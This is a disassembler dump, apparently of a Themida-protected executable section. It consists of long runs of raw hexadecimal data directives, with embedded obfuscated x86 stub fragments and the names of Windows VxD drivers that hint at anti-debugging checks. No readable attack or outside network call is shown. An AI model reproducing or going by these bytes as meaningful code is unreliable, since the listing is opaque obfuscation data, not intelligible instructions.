6A0160h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 20F3DCC3h, 916E136Bh dd 8D89AD00h, 615161Dh, 9C585C6h, 6A4F0615h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 2464C350h, 8980E9FCh, 152ACDBDh, 0D0776806h, 52509494h dd 12E9h, 4814000h, 60853D74h, 0F65A21B4h, 2CCCC3EDh, 0FF7ACA1h dd 50525031h, 5A310F52h, 60310F58h, 5A585A61h, 24048158h dd 6A33A3B3h, 6800Fh, 85090000h, 61528B1h, 2811B5FFh, 5E90615h dd 2E000000h, 0CF0B508h, 0BC858DFCh, 6A061872h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 4137C357h, 0F5AFA28h, 1B89h, 15880F00h, 0E9000000h dd 10h, 941D11B7h, 6A33FBD8h, 0FC3BE15Ah, 13D8BCD6h, 0B531D0FFh dd 61508C9h, 0A5E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 28BB66A8h, 0AE7B23A4h dd 6660AEA0h, 0B501D68Bh, 6151D61h db 61h byte_5B2585 db 8Bh, 5Ch, 24h ; DATA XREF: Themida_:0057B17Co dd 0E8550Ch, 5D000000h, 8B60ED81h, 858B0618h, 6151685h dd 28118589h, 858B0615h, 6150789h, 21598589h, 858B0615h dd 6151789h, 0DE98589h, 85C60615h, 61509C5h, 5D85C700h dd 61874h, 8D000000h, 188BCB85h, 0B8838906h, 5D000000h dd 0E9C3C033h, 14h, 0C1A67907h, 0F460C5DAh, 0DABB2858h dd 1F035467h, 40A54E33h, 22D18531h, 74BC0615h, 890012FFh dd 1502F595h, 58F6406h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 95C35646h dd 7E096B06h, 57AF0611h, 0C9BD2998h, 60061526h, 0EE9h dd 2607D600h, 0A965AC1h, 9820CA24h, 0F6F7E1Fh, 68Ah, 918D8900h dd 61061525h, 6004C483h, 31E98166h, 0A1BD31BBh, 6106152Dh dd 83E961h, 51530000h, 8B575652h, 661C245Ch, 5A4D3B81h dd 68850Fh, 0B70F0000h, 0D8033C43h, 503B8166h, 57850F45h dd 8B000000h, 5C03785Bh, 738B1C24h, 24740324h, 7B8B561Ch dd 1C738B20h, 20247C03h, 20247403h, 0FFC983FCh, 245C8B41h dd 3178B1Ch, 83202454h, 28A04C7h, 874C084h, 0E875033Ah dd 0F2EB4243h, 0E075033Ah, 0FE1D15Fh, 8B0F04B7h, 44038604h dd 5E5F1C24h, 0C25B595Ah, 0C0330008h, 0FFFFF1E9h, 0E8CA8BFFh dd 10h, 0D2035939h, 0D5F975E2h, 1A83FA23h, 45048049h, 3830Fh dd 0EF800000h, 81F958A9h, 5C6BC0h, 6B82BE00h, 0FBB935C6h dd 0F000016h, 30FFD9B7h, 18B0Fh, 5FF90000h, 0ADB8166h dd 87C781B3h, 0F3420A4h, 0EF81D6B7h, 222AF29Ch, 41C38166h dd 7EF8191h, 0F0D2F8Ah, 3889D9B7h, 1E883FCh, 18E0Fh, 48FC0000h dd 66604848h, 0BA5AF5B9h, 3B5FD969h, 1E98161h, 0F000000h dd 0FFFFAD85h, 0E831B2FFh, 0Eh, 47C886C2h, 4227B701h, 9B76FEB6h dd 0FE97A4Ch, 79000000h, 427D973h, 0AD7873C2h, 98A0E8EDh dd 0B25E4F9Fh, 0D5C6817Eh, 6000006Bh, 0ECBB866h, 0AAB861F9h dd 81771713h, 0E90714C0h, 0FFD08B88h, 50605936h, 0F5ED68Bh dd 8161C8BFh, 0E26100E9h, 0AE81Bh, 8BAC0000h, 5E453A5Bh dd 0F4E17DC9h, 5FD7BF0Fh, 0B38AE981h, 0F1814819h, 1D60AA3Dh dd 0EE850h, 4BB60000h, 79E2AEADh, 3DEF5D2Bh, 0A9ECDA1Eh dd 0FCC78166h, 895A5FB6h, 5653600Eh, 9E95E5Bh, 25000000h dd 340B463Ch, 41158113h, 4EE8361h, 6FDA8166h, 1E8813Ch dd 0F000000h, 1585h, 0F38B6000h, 0CABF0F53h, 1EE96159h dd 66000000h, 0ED33D49Dh, 70E9E15Eh, 0C4FFFFFFh, 0D53FC185h dd 26C1FAC9h, 8255E96Bh, 0C87C8EF3h, 4934EB6Dh, 474D5346h dd 56202052h, 2020444Bh, 56202020h, 20204D4Dh, 56202020h dd 334E4957h, 56202032h, 444C4458h, 202052h, 2 dup(0) dd 0E9000000h, 623h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 99C35545h, 90989B62h, 60E5BFB3h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0EDC35545h, 5C85C712h dd 6188Eh, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0C08CC350h, 0FC8571C8h, 0FF9C68Bh dd 6AD8B7h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 0C176B8C3h, 860F10E8h, 0Fh, 0AE9h, 4668FC00h dd 8C7017AFh, 66BF1CA0h, 6A08C8C1h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0A2FC351h dd 60858913h, 0E906188Eh, 8, 68050C95h, 55BBE9B9h, 8CBC166h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 9FC35141h dd 9B9378A9h, 0F40FB83h, 4B85h, 0BF0F6000h, 60F860D9h dd 8D616161h, 188E34BDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 7148B9D9h, 3FEEFB05h dd 810F8BF8h, 1, 28E9F8F5h, 0F9000001h, 0A8E38160h, 61309FE9h dd 0F0DFB83h, 4D85h, 0CE9F900h, 22000000h, 0EF47EA2h, 2B4F4DC9h dd 8D504BDBh, 188E3CBDh, 0BF0F6006h, 43D981C7h, 613EE145h dd 0EEE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 0FCA6EA0Eh, 6F4DE913h, 0FB83F03Ch dd 40850F01h, 60000000h, 0D39BF381h, 0BB603C7Ch, 1502D9Bh dd 0DE8h, 24222900h, 0B209C7E2h, 3083D80Ch, 615A7BD1h dd 44BD8D61h, 0E906188Eh, 6, 0D2DB6409h, 0E9F9F04Ah, 87h dd 1800Fh, 83F80000h, 850F2AFBh, 47h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 65C35242h, 0C820Fh, 860F0000h dd 6, 8B0Fh, 0BD8D0000h, 6188E4Ch, 3DE9F5h, 8E90000h, 41000000h dd 57412C6Ch, 836491CAh, 850F27FBh, 253h, 0D0B70F60h, 4800Fh dd 0BA660000h, 0E9611B13h, 0Ch, 0B5FD8353h, 0F494A953h dd 3B2ADB5Ch, 8E54BD8Dh, 89F80618h, 188E64BDh, 7800F06h dd 0F000000h, 182h, 8C66F800h, 50006AC8h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 3319A06Fh dd 0CB00FF00h, 11850F60h, 0E9000000h, 0Ch, 0CA86A4DDh dd 0CF8E44FAh, 0DF98E090h, 11E9h, 3BEBC200h, 0B598A60Eh dd 4FA1E100h, 52D855DFh, 2461FECBh, 6660F503h, 288DE81h dd 14E8h, 0E4B8D300h, 12FE3A0Ah, 1F055D19h, 9F0013C5h dd 1A332BA7h, 615BF899h, 850FC00Ah, 112h, 74B58DFCh, 0E9061893h dd 0Eh, 889E5D68h, 1A97E254h, 0FD492175h, 858B7AB3h, 6189433h dd 816660FCh, 61DD29E7h, 11E950h, 0AB10000h, 0D9587B65h dd 1D24734Eh, 0DCCB2C9h, 89910F1Bh, 8C0F2414h, 0Fh, 0AE9h dd 394E7F00h, 0E712D436h, 0F415ECDh, 0FE244C01h, 1820Fh dd 5AF80000h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 0EC35545h, 0E9ADDC9Ch, 83F9F917h, 6A24C2h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 0FCCE2C3h, 18Dh, 8966F500h, 10E9FC72h, 0DA000000h, 35DB9D57h dd 0B094751Fh, 84343E0Ah, 0C16B3E2Bh, 8B0F10CEh, 17h, 11830Fh dd 0CE90000h, 4000000h, 1C510DD2h, 0B639CE7Eh, 66C75E1Bh dd 0F9027289h, 0E9F904CDh, 78h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 2DC35040h, 858BC12Bh, 6189433h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0C3C35040h dd 7A9B3493h, 9148591Ch, 74B58DF9h, 0F5061893h, 4559858Dh dd 6A0618h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 7B356FC3h, 0F8D0FFFCh, 8E5C8589h, 6A0618h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0A01546C3h, 278E4C0Fh, 61F99BE3h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 0E9C35747h, 0E9605DDAh, 6 dd 0B224728Eh, 8B61BD19h, 188E5C85h, 6AC3F906h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 11F2C356h, 8F0FF5F2h, 0Eh, 9E9h, 14D11300h, 0B5E88862h dd 60F931D0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 41C35545h, 310BE929h, 9AC1661Eh, 9433BD83h, 0F000618h dd 7F85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 52FAF0B3h, 0C1A5CA5h, 0E9609E00h dd 14h, 0F12583BBh, 0D08338AAh, 0CF7D779Fh, 0ED93CA09h dd 0F5EB04BEh, 0DE9h, 4CB5000h, 0DAE57026h, 5E616961h dd 0C761CFCDh, 18943385h, 1013F06h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 60904F8Ch dd 0F8F59FC9h, 7E9h, 3BBF6000h, 6108A441h, 20CDh, 0C00B0000h dd 708D3774h, 64BD8B0Ch, 0B906188Eh, 8, 492275A6h, 488BFA75h dd 609D8B30h, 3B06188Eh, 157F3458h, 0D26BD38Bh, 8BCA0304h dd 5C858901h, 0EB06188Eh, 0EB008B04h, 858B61C5h, 6188E5Ch dd 0AE9CFh, 0A80000h, 3317E81Ah, 0B32B27C6h, 18B0Fh, 8BF80000h dd 0BE9C0h, 0EFB20000h, 8A0h, 0 dd 4F5E900h, 6BCB0000h, 0A4051AFBh, 73D26134h, 3BBD7203h dd 75F52ACBh, 703B7005h, 0A84DBD3Dh, 0F184F47Bh, 0C352C242h dd 0F69F0F6Ch, 1F4201CDh, 0DE169E66h, 0C7241F1Dh, 654ABA3Bh dd 52C24031h, 199A97C3h, 0F350C1A9h, 1D9E9383h, 8EA369ADh dd 8778BE2Eh, 53C326E3h, 7964CB63h, 987DED4Eh, 0DCB9298Bh dd 4175E547h, 0C043CF30h, 72E26350h, 8954815Dh, 0D5352C72h dd 393CFA90h, 4015DDD0h, 0E2631F26h, 6C4B4472h, 0A743EC7Ah dd 0FB9A0A6Ah, 0F44F8D4Fh, 10862BADh, 83C67F50h, 110862Bh dd 3E78F435h, 0E8B96701h, 42B21102h, 0BEE3627Ch, 3D10866Ch dd 35907E6Ch, 10866CE9h, 0C3D7009h, 97A8B8A1h, 7C27h, 0C7240300h dd 0C72A8757h, 4A515B5Fh, 0F2DD35C4h, 70971E18h, 7410867Dh dd 4618DA05h, 1B1B8BEDh, 7D5E8322h, 0F01D1086h, 5A301F8Fh dd 0A8A8CE5Bh, 15697h, 24320000h, 506155C5h, 920265F1h dd 86879BDh, 0A38CFC7Ch, 4319FB73h, 0A71E8EEEh, 1086F262h dd 0E1125CA0h, 813F27A4h, 8CFC83B0h, 0E60CB3DEh, 158DB6F1h dd 596545CEh, 868BA7EAh, 95754610h, 0D0A51594h, 0A570E063h dd 56C62497h, 7EEE5360h, 0A5188138h, 6530A022h, 0D2A4DCF9h dd 6254C425h, 0FD854A6Dh, 3EBD6E1Ch, 5ADBC8CEh, 0E34EACEAh dd 0E3104DFCh, 805897A8h, 34000000h, 6056C624h, 0BC82F253h dd 0E981F177h, 45B5362Bh, 0B7458451h, 0D7F0CE68h, 0A8EE5EDCh dd 0E5FEB138h, 0AE19C42Bh, 0EA39DC4Ch, 0E7EFC88h, 0A27F521h dd 2B9B1FABh, 4D3D1204h, 0D2EC5CDCh, 72D35FE1h, 143B1402h dd 0D742B876h, 180C61E8h, 5B7497A9h, 6A000000h, 9278E849h dd 56C624AAh, 81F15360h db 0BDh, 98h, 0Ch byte_5B30AB db 31h ; DATA XREF: Themida_:00579FB4o dd 6FCBF4A1h, 0B456C624h, 218CFD7Ah, 41D444A6h, 5D843F1Dh dd 20108600h, 4FB75B0Fh, 9773E362h, 0FB6179Ah, 1086F2CAh dd 0E957C724h, 44BFF7D8h, 1086F318h, 55F4DB5Ah, 97A81AE8h dd 970h, 0E7456E00h, 4867D75Bh, 0C9247AA2h, 0F53CF661h dd 614E6377h, 4FBF3C35h, 12BD6C47h, 70D3E0h, 0C04CA96Ah dd 0F3E4D242h, 0B056E777h, 496649FFh, 0A3AFEACh, 0FEB59134h dd 0F7C8169Bh, 0E151B2BFh, 2C9C1F14h, 0FF448BEAh, 7F2A1693h dd 68F47750h, 0E0B59A0Ah, 9680F053h, 68AE1E9Dh, 0FDF5E8D1h dd 0CFC737B4h, 9C1F0CFEh, 0D15C492Ch, 579DBD26h, 138h dd 0DB0BAB33h, 0F6304003h, 0FCCD169Bh, 7003D4BAh, 655237D0h dd 0B31001E9h, 0FE7DB243h, 189B888Eh, 0F2756EA8h, 545CB58Ah dd 0C9E6A8CFh, 0CC58D4CDh, 0E72F0070h, 100676FAh, 7C634A3Fh dd 5778E84Bh, 0F3D4FBB2h, 60552090h, 9DBD4DDDh, 6063h dd 0C0835900h, 1693CA99h, 3EE252D7h, 0AB957D6Dh, 4500DE0Eh dd 9086F23Ch, 4DA8EEBFh, 9086F204h, 0F14C6567h, 0FFAEE981h dd 0BC82B24Fh, 86F2E009h, 0AC082910h, 0E00DFA3Ch, 81868367h dd 6858321Dh, 25FA7166h, 374ABCE1h, 86A14B8Eh, 4E613210h dd 9209A7h, 1D3F0000h, 86A163A6h, 51390A10h, 0DB0BABE9h dd 5DD8D903h, 36D4A9EDh, 9C062B87h, 7D415216h, 5145B534h dd 93A08E7Ch, 2D74CF30h, 0D01693E6h, 0EE45D0FFh, 70992C8Dh dd 0FB1693E6h, 0B211052Ah, 1693E768h, 9136A910h, 2F72D132h dd 0CE1693E7h, 0A70CD2FDh, 0E9E6D040h, 74447201h, 2C97994Ch dd 20A15C60h, 0AEB09FB0h, 2AB283A9h, 0DE8CD735h, 6C5BED58h dd 0C9DA108Ah, 0E757D4CDh, 7A65D4AFh, 0EEFC24D4h, 7AE6BFF8h dd 794C123Dh, 1AB1C4AFh, 34F89DAEh, 0CCE30BABh, 93A9EBD8h dd 3C07D7F8h, 169F9AEAh, 0C14DA809h, 0B8FED141h, 0A27323C7h dd 8CFC7F74h, 9C0481B2h, 5D9C8209h, 3E7C8F0h, 0C838BB68h dd 656167CEh, 71F81927h, 9E2A893Eh, 776CAA1Ah, 82AD82F2h dd 4FBF3CF3h, 0EC578547h, 45671A5h, 96937748h, 9174A212h dd 0B112B528h, 0FC7FB441h, 102A8A8Ch, 0FE000000h, 6DDD624Fh dd 6CC5977Dh, 0B8288410h, 243FF397h, 475C5ACAh, 314274E4h dd 3E3363D3h, 544D49B9h, 433066D6h, 5A474FBFh, 433066D6h dd 4F6452C2h, 783C7AEAh, 81E38953h, 4C3h, 4BA5200h, 29000000h dd 1C875AD3h, 62685C24h, 8900007Ah, 8957241Ch, 4C781E7h dd 83000000h, 3C8704EFh, 3C895C24h, 19685524h, 5D0C2560h dd 0E581D5F7h, 465C5196h, 47AB951h, 0E9813BA7h, 5BC41E2Dh dd 43BBE981h, 0D1F75903h, 0E981D1F7h, 4AA025B3h, 8959CD29h dd 8B545DEBh, 0C481243Ch, 4, 8B951h, 0F9010000h, 0C8B1989h dd 4C48324h, 5F2434FFh, 0FF04C483h, 835B2434h, 0BFE904C4h dd 56FFFCE4h, 8EB7A245h, 0B86AA5D8h, 6189905h, 0E0FFC503h dd 35CEC1D2h, 86F204Fh, 2AEBC006h, 785146CDh, 1A8F0787h dd 73053B55h, 0BD80810h, 33602E47h, 7E35B719h, 22E59C78h dd 714842E3h, 31E5383Ah, 59A29A3Dh, 7D0E6BBBh, 0F08D359h dd 10A509ADh, 2193A484h, 3A510742h, 1C981AA5h, 148E9h dd 6400h, 6800h, 6C00h, 7000h, 7400h, 7800h, 7C00h, 8000h dd 0C400h, 0C800h, 0CC00h, 0D000h, 0D400h, 0D800h, 0DC00h dd 0E000h, 0E400h, 0E800h, 0EC00h, 0F000h, 0F400h, 0F800h dd 0FC00h, 10000h, 38h dup(0) dd 5B348500h, 0C1C20300h, 0F6858D00h, 0E8061899h, 7, 0DE7CC47Eh dd 0E9F4A230h, 10h, 588E3749h, 90A4DF2h, 19DAAD3Fh, 86C28915h dd 13E85Ah, 0EA260000h, 2FE9958Eh, 0F48F2143h, 4DAE1E69h dd 0E9EAB6Eh, 0DE8D3h, 2ABC0000h, 0BFEF6F76h, 5A3E041h dd 8B7A3705h, 15243D9Dh, 895A5A06h, 189B3685h, 9DE28006h dd 9C585C6h, 0BF540615h, 6B857B67h, 4E8C4B6h, 29000000h dd 66EE6268h, 50AA77B9h, 310F5250h, 448B585Ah, 0D3BB0424h dd 8B38A3FDh, 89F6B700h, 66042444h, 586CD6BFh, 1459958Bh dd 0B5FF0615h, 6152811h, 0C519D89h, 858D0615h, 61872BCh dd 10898D09h, 0D0FF0615h, 85893EB7h, 6189B3Ah, 0BF3B70Fh dd 151D9DB5h, 4EE906h, 8D8B0000h, 6152CE5h dword_5B3644 dd 36B58B56h, 8906189Bh, 36858306h, 406189Bh, 8D60C35Eh ; DATA XREF: Themida_:0057A654o ; Themida_:0057B434o dd 1899F6B5h, 560FEB06h, 36FF006Ah, 9B3A95FFh, 835E0618h dd 3E8304C6h, 61EC7500h, 3D9D33C3h, 0E8061523h, 7, 54DC9593h dd 66104026h, 5E6275B9h, 9C27858Dh, 0F2B90618h, 894750F5h dd 15340185h, 14E806h, 0A9590000h, 76994B62h, 94FEE49Ch dd 0BDE99A3h, 536221ACh, 8D33A9ACh, 6152709h, 0C981665Fh dd 0C7818467h, 594Dh, 8E9h, 12739C00h, 2CF574BCh, 161FBA98h dd 0EFBB0000h, 8B18EA9Dh, 0E2E68107h, 810CE80Ch, 0D58377C0h dd 69B50158h, 81061524h, 0AA4977C0h, 0FE94Dh, 0F3600000h dd 2D9CF564h, 6070FB77h, 4A72CCE9h, 0E5F08110h, 897446DBh dd 150D49B5h, 81078906h, 0AC7348DEh, 0D4EF8112h, 8B46322Eh dd 1527418Dh, 0D0C78106h, 0F46322Eh, 0EA83CFBFh, 1B850F01h dd 60000000h, 8BF18B66h, 1515ED9Dh, 28E96106h, 2E000000h dd 83EC34C6h, 22D84564h, 0B58B133Dh, 6151909h, 0FFFF7AE9h dd 0B58A08FFh, 0D50225FAh, 788A6D3Eh, 0BF00AFAh, 0E992C12Eh dd 0F4h, 1DADA46Fh, 8A055C97h, 76A18883h, 7A0E0A1Dh, 33538FDDh dd 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh dd 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h dd 0D77DD57Fh, 171E577Dh, 2075DF6Dh, 20602060h, 60E0E020h dd 7B68AC20h, 0A1E4A9F7h, 93B2D020h, 9DB7EDA6h, 0A3F291B9h dd 206020ACh, 20602060h, 60E0E020h, 33537520h, 7D2F0D0Ah dd 20602055h, 28602060h, 0F0362BA7h, 0F360C950h, 96A1EFB6h dd 0A7B4E0F7h, 7192B8E3h, 0B9E9B3F4h, 2060F76Dh, 20602060h dd 0F7202060h, 351ADF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h dd 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh dd 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h, 0E0A1E35h dd 5D340700h, 59A0A3D2h, 1Eh, 3 dup(0) dd 0C63E9h, 0A0E46800h, 3E90618h, 68FFFCE0h, 618A1B5h dd 0FCDFF9E9h, 0A28468FFh, 0EFE90618h, 68FFFCDFh, 618A368h dd 0FCDFE5E9h, 0A3F168FFh, 0DBE90618h, 68FFFCDFh, 618A495h dd 0FCDFD1E9h, 0A5B268FFh, 0C7E90618h, 68FFFCDFh, 618A6B6h dd 0FCDFBDE9h, 0A79468FFh, 0B3E90618h, 68FFFCDFh, 618A86Dh dd 0FCDFA9E9h, 0A91D68FFh, 9FE90618h, 0D8FFFCDFh, 1807EE5Eh dd 0D74C2999h, 200FE656h, 0CE6530A0h, 8219FC6Ch, 0A4149609h dd 6DDD62D1h, 0A9199B88h, 64D457CCh, 0AD184691h, 169E6C64h dd 0DBD88607h, 0FF6FCC58h, 0D5E9E6D0h, 9E6C2B6Eh, 29C1D216h dd 57C724F1h, 0ABEE5587h, 521086F2h, 81C56A49h, 0F9D618DFh dd 1C392311h, 605807D5h, 24E585C7h, 4A8B53C3h, 9F1FA58Eh dd 14680E1Ah, 0B8A5E6F1h, 0C81F1B3Ch, 79C3E08Eh, 0A40BA391h dd 0BD2D8E39h, 0D2ED2D8h, 861E1336h, 33C7110h, 0FC55659Fh dd 825C7344h, 9C6157C3h, 2B9AC416h, 169372E6h, 6120BC85h dd 0FA2FA385h, 0B08135D5h, 9E0E6D86h, 5BCB28F7h, 5FCF2E83h dd 969B81ABh, 9F70A616h, 0C78CD0EBh, 84E41693h, 893C2214h dd 1693C740h, 99191A2Bh, 88BC2531h, 2A057860h, 2DA009ECh dd 8AA5159Ah, 0C007B6DFh, 0D10BD343h, 93B72F72h, 0DFDCE16h dd 0E252B17Eh, 0C652D7DCh, 0C8C5F161h, 180903E7h, 4CEB2B9Bh dd 0EE4D7A65h, 9F0A977Eh, 259DBD5Fh, 4F8h, 57C72401h, 59C92A87h dd 0D6E83B1h, 0EB2F89Dh, 1CD700DEh, 0DE03C238h, 9D1086F7h dd 5A16AB8Ch, 6577BDADh, 9581F14Ch, 0BFF3D2B8h, 0DC169B98h dd 3D9A6EFBh, 0BDAD2576h, 67CEC8D9h, 1693DA26h, 7D7568CFh dd 4E48B834h, 8F1A9971h, 2F9DBD46h, 78128202h, 3BCCh, 0BABE000h dd 0F04003DBh, 8D169BF5h, 9BCA2BCh, 1693F1C0h, 46F09AABh dd 6ADA5B58h, 0F1F82580h, 8CEE1693h, 0AB091A1Ch, 0F7AFB3Bh dd 30E743A0h, 1D61CC7Dh, 0CBE79DBDh, 0C3000000h, 5F57C724h dd 0BDE45F7Dh, 0DE1086F2h, 86F22267h, 48F8C910h, 3BCE6077h dd 0F5DBAEEFh, 26961415h, 0F48003F0h, 310E0878h, 80E7E02h dd 301E1837h, 78128203h, 2DC838BBh, 86125488h, 749EB710h dd 643CF5D4h, 0B536F397h, 83B045h, 6414A690h, 91342A34h dd 10868B48h, 0B6886233h, 9C7C4B0Fh, 94613216h, 1C225226h dd 8B1186A9h, 0CA94A510h, 0FC990969h, 0CA53C327h, 0B1BF8FB1h dd 2044C0B6h, 8000009h, 0C8573EAEh, 71CF969h, 0D05F36A6h dd 0BE750070h, 7229CC3Ch, 0B4248639h, 7DED52E1h, 0B9298B98h dd 74E447DCh, 9D2836A1h, 169E5274h, 24C676F7h, 70BF56C6h dd 3514AB13h, 0BA8613B3h, 0D6E15640h, 5B744B5Dh, 0BAB6EBAh dd 0FCD903DBh, 0FDABAFFAh, 0F7A64410h, 169B583Bh, 0BE457142h dd 1693439Fh, 4BFEB168h, 9DBDCADEh, 0B366h, 0C7244200h dd 587D5F57h, 80FC8E8Dh, 12994710h, 39B97A10h, 3666CDC9h dd 2A1086D9h, 67BC59C9h, 0BCA29404h, 0B4B43E9Bh, 864BC811h dd 0D5E2B310h, 8763C448h, 213D6D11h, 9CFCFEA2h, 0C7AE7F16h dd 0CFEF1FDFh, 8895A474h, 0D12C5910h, 77583561h, 78E84A67h dd 0B424869Dh, 0BF13B6E9h, 338FA5B1h, 84Fh, 8ED5DD9h, 4F26961Bh dd 20F565E0h, 583DAD13h, 1EF767CBh, 2B8F0289h, 0E245DABBh dd 308CA372h, 7DFE35C0h, 6F5F680Dh, 9E538DD4h, 8DAF7016h dd 0BF56C624h, 25871370h, 89A61699h, 0F69FB08Dh, 77D85F54h dd 86F285CCh, 78576810h, 71A9413Eh, 71E1624Fh, 71A24845h dd 0AA74A212h, 0C32B60ADh, 0EFCF1A5h, 472E9E1Dh, 6F0FE266h dd 0F43D1F3Fh, 300D0979h, 86094C95h, 6C1E2F10h, 0F75BEAh dd 8976169Bh, 896B929h, 5962FEBDh, 97C77709h, 62A0FCC7h dd 94A51242h, 386818A2h, 448D3826h, 271A7552h, 0FCE27416h dd 523E63E2h, 0D0BD1A75h, 3D2D0272h, 6CC4E35Eh, 95A97A1Ch dd 0C6AF1F9Ch, 936ADA59h, 0ACE0B45Eh, 808FF301h, 0A8000007h dd 0E837DE4Eh, 0A77C1989h, 0F03FD646h, 0DE552090h, 9209EC5Ch dd 0D444A619h, 1D8DF241h, 0D949AB78h, 1484E73Ch, 0BD885681h dd 169E5094h, 24A69657h, 0D95F57C7h, 0E959D925h, 0D14DF8C6h dd 32169C20h, 80E7E01h, 61635337h, 93DCBFE2h, 4A6D3E16h dd 18F975D0h, 9AA48B8Bh, 6BAB1B99h, 0D9DF892h, 37253969h dd 64B1C51Eh, 650536E8h, 8A9E7936h, 0BFB99E10h, 4FD0EED7h dd 8C9D01E9h, 9EFF81B2h, 0ABAAE227h, 97B8891Ch, 7ABCAE9Fh dd 0AB4ABA39h, 8F87F774h, 0A40564CDh, 0ABAAF821h, 9DB2831Ch dd 0CCC6A499h, 0F565E02Ch, 0DBE3CCC1h, 0B2D79468h, 3608191Ah dd 0BF4A2F28h, 6E69FD9h, 7445C931h, 781244BBh, 2DC838BBh dd 110575F6h, 97A7D7A7h, 0D96BE02Ch, 0E9B48504h, 0A5924DAAh dd 9C37BBB9h, 8C000006h, 0FC33C232h, 0BB680D7Dh, 0F42BCA3Ah dd 0C2710474h, 6645D040h, 98086A25h, 51C126FDh, 9D0D6FC4h dd 58C82BF8h, 81440ABDh, 169E5158h, 4FDA6223h, 40CA586h dd 0BBAF08F6h, 0EDF121D5h, 9FBA8E56h, 203E0F16h, 7E40B013h dd 0C350B835h, 7502EA4Eh, 0B58A8CA3h, 0DF8BFB7Eh, 0BB1C9F94h dd 9E8AC108h, 0B49BAC16h, 14979C82h, 0ED9D72A4h, 42A7F3C3h dd 0C4EBE4D2h, 58D34BFAh, 81921084h, 0BF20B7FCh, 3EC6B0B1h dd 613h, 4C299915h, 13E252D7h, 6431A11Ch, 1CF969CFh, 6233A307h dd 0E74B4645h, 2E919E77h, 0EC48D7BEh, 298A997Ch, 0E3EBDCB9h dd 9E513960h, 0F943C416h, 93B68D4Fh, 0CD1086F2h, 0C5BAFC6Ch dd 0FAA04A5Bh, 7D481646h, 169F903Eh, 61526C3Dh, 8CA372E2h dd 0F177BF2Fh, 1B411D4Dh, 6C5F8241h, 0D1E169Eh, 11AE3E5Dh dd 1E2F1087h, 85401E40h, 1CB7C95Ch, 0AF5C0E1Fh, 1539DC4Ch dd 0C9557C47h, 7181CB7h, 0C9458C37h, 17281CB7h, 0C535B673h dd 679767D1h, 38A0EC57h, 74451AADh, 0A67A4EA9h, 8BE70DABh dd 56Fh, 28CD3DB9h, 6F0676FBh, 40D545C0h, 781D8DF3h, 3ED747ABh dd 0B6F2269h, 0C225FA9Bh, 106CC352h, 0DD5ED5A0h, 0F3F886Dh dd 9E566DB4h, 0AD8F1016h, 5F57C724h, 0F481F152h, 0FCC2F2C6h dd 9BFB1149h, 0E1647A16h, 1693FBB8h, 28987243h, 290676FBh dd 0FB4786EDh, 89301693h, 2786F356h, 2F289DBDh, 0D8E5CB46h dd 0B37D3C8h, 2Fh, 0DB0BAB1Fh, 0F5F04003h, 0BC8D169Bh dd 0F1D2FB7Ah, 0A6041693h, 91F30036h, 2292F221h, 35A811F4h dd 2A95FCAEh, 0BD1D9A1Fh, 0C1229Dh, 4FF60000h, 7D6DDD62h dd 9FBF2F8Ch, 0B6C317B6h, 0FFEB0952h, 2E9E1C15h, 878FBE8h dd 2696150Eh, 623A724Fh, 0CD2E1086h, 0D030815Dh, 0B1593660h dd 7EEE4DE2h, 0DE0EB238h, 6CF94500h, 0AB7C169Bh, 0AA1A9E93h dd 0FE23A26Ch, 7D169368h, 8CE783ACh, 0A90E5A1Eh, 2F00FD39h dd 0B40F4D0Fh, 1693686Dh, 704B3F10h, 108B0728h, 49B93E73h dd 269A704Dh, 8AE84915h, 46A47B1Ah, 816A47D6h, 7F75B1BFh dd 45203h, 0E858D600h, 2393160Dh, 0F060DD52h, 3AAA0E25h dd 0F666C45Bh, 9003881Fh, 0FC33C232h, 0B56A0B7Bh, 12EC737h dd 50831282h, 5792B78Eh, 9859169Eh, 56C624A4h, 0A31370BFh dd 0A313969Bh, 0AB80ACC7h, 4003DB0Bh, 169BF5F0h, 0BCA2BC8Dh dd 93F1C009h, 0F09AAB16h, 0D77F5846h, 0BF5ED6DEh, 